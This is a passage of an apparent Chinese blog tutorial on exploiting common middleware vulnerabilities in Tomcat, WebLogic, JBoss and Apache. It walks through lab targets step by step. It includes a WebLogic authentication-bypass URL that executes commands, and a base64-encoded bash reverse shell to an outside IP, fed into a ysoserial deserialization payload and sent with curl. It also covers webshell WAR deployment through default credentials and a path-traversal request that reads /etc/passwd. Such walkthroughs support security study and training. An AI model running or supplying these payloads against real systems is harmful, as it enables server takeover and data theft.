当前位置: 首页 > news >正文

常见的中间件漏洞

Tomcat

CVE-2017-12615

访问主页进行抓包

修改传参方式为put

放包进行连接

后台弱⼝令部署war包

访问主页试用默认账号密码tomcat/tomcat进行登录后

将哥斯拉生成的jsp木马文件压缩城成zip文件,然后再修改zip后缀文war

然后进行上传

使用哥斯拉进行测试连接

CVE-2020-1938

访问主页
下载漏洞利用工具 cve-2020-1938.py
然后放kali里面跑(这里为了使用方便给他命名为22.py了,如果没有重命名则需要使用文件的原名cve-2020-1938.py)

WebLogic

后台弱⼝令GetShell

访问主页显示报错404
然后我们在url后面加上 /console/login/LoginForm.jsp进行访问(账号密码为 weblogic/Oracle@123
进入后台后点击部署》安装》然后上传文件
这里同样是上传war文件,那么我们就直接使用前面修改的那个jsp木马的war文件进行上传
上传成功后进行哥斯拉连接

CVE-2017-3506

首先验证是否存在wls-wsat组件

访问http://172.16.1.185:7001/wls-wsat/CoordinatorPortType

然后进行抓包,添加请求包,反弹shell。

然后使用kali监听

CVE-2019-2725

访问http://172.16.1.185:7001 /_async/AsyncResponseService

进行抓包,修改数据包是其下载木马文件

然后进行哥斯拉连接

CVE-2018-2894

环境搭建完成之后访问
http:\\172.16.1.63:7001console/login/LoginForm.jsp
启动web服务测试页
进⼊ config.do ⽂件进⾏设置,将⽬录设置为 ws_utc 应⽤的静态⽂件css⽬录
点击安全 , 点击添加
然后查看源代码, 然后搜索16 , 找到对应时间戳
然后使用哥斯拉进行连接

CVE-2020-14882

访问网站使用url饶过验证

http:\\172.16.1.63:7001/console/css/%252e%252e%252fconsole.porta

访问

http://172.16.1.63:7001/console/css/%252e%252e%252fconsole.portal_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('touch%20/tmp/success');")

进入kali 的容器中发现运行成功

Jboss

CVE-2015-7501

在url后面加
/i nvoker/JMXInvokerServlet

.下载 ysoserial ⼯具进⾏漏洞利⽤
https://github.com/frohoff/ysoserial
将反弹shell进⾏base64编码
bash -i >& /dev/tcp/120.55.57.110/6666 0>&1
YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjAuNTUuNTcuMTEwLzY2NjYgMD4mMQ==
执行
java8 -jar ysoserial-all.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjAuNTUuNTcuMTEwLzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i} ">exp.ser
服务器监听端口
nc -lvvp 6666
执行命令
curl http://172.16.1.63:8080/invoker/JMXInvokerServlet --data-binary @exp.ser
然后就成功反弹shell了

CVE-2017-7504

访问网址
http://172.16.1.63:8080/jbossmq-httpil/HTTPServerILServlet
用kali执行
python3 jexboss.py -u http://172.16.1.63:8080

CVE-2017-12149

访问 http://172.16.1.63:8080/invoker/readonly 看漏洞是否存在
返回500则说明漏洞存在
使⽤⼯具进⾏检测 DeserializeExploit 如果成功直接上传webshell即可:
⼯具地址:
https://cdn.vulhub.org/deserialization/DeserializeExploit.jar

Administration Console弱⼝令

访问
http://172.16.1.63:8080/admin-console/login.seam
进入后台后点击web应用
然后上传木马文件shell.war
然后进行哥斯拉连接

高版本JMX Console未授权

访问
http://172.16.1.63:8080/jmx-console/
修改配置

把木马文件的war包布置到服务器上

然后我们返回靶场的网页

进⼊service=MainDeployer⻚⾯之后,找到methodIndex为17或19的deploy 填写远程war包地址让其远程下载

然后就可以使用哥斯拉进行连接了

低版本JMX Console未授权

访问网站往下翻找到jboss.deployment

点进去之后void addURL() 选项远程加载war包来部署。

然后会回显这个页面提示成功
使用哥斯拉进行测试连接

Apache

CVE-2021-41773

访问网站http://172.16.1.99:8080

然后登录虚拟机kali使用poc来成功读取etc下的passwd文件

curl http://172.16.1.99:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd

http://www.mrgr.cn/news/33008.html

相关文章:

  • docker镜像源,亲测可用,时间2024-11-14
  • 前端垂直居中的多种实现方式及应用分析
  • 开源 2 + 1 链动模式、AI 智能名片、S2B2C 商城小程序在用户留存与品牌发展中的应用研究
  • 【HBase原理及应用实训课程】第五章 HBase与MapReduce的集成
  • 探索美赛:从准备到挑战的详细指南
  • 前端跨域~简述
  • MySQL高阶1907-按分类统计薪水
  • 华为摄像机/NVR主动注册协议接入SVMSP平台
  • 基于SpringBoot+Vue+MySQL的手机销售管理系统
  • 秩一的等价转化
  • 有关elementui form验证问题,有值却仍然显示不通过
  • HtmlCss 基础总结(基础好了才是最能打的)三
  • ★ C++进阶篇 ★ 二叉搜索树
  • 机器之心 | 阿里云Qwen2.5发布!再登开源大模型王座,Qwen-Max性能逼近GPT-4o
  • OpenGL 原生库6 坐标系统
  • 【漏洞复现】泛微OA E-Office jx2_config.ini 敏感信息泄漏漏洞
  • Wireshark学习使用记录
  • IPsec-VPN中文解释
  • Vue极简入门
  • 不要死磕技术,还是要产品化
  • 图像生成大模型 Imagen:重塑创意的未来
  • 排序----快速排序(快排)(递归版)
  • 构建高可用和高防御力的云服务架构第一部分:深入解析DDoS高防(1/5)
  • git submodule
  • 低代码可视化工具-uniapp页面跳转传参-代码生成器
  • 为什么喝酱酒会回甘?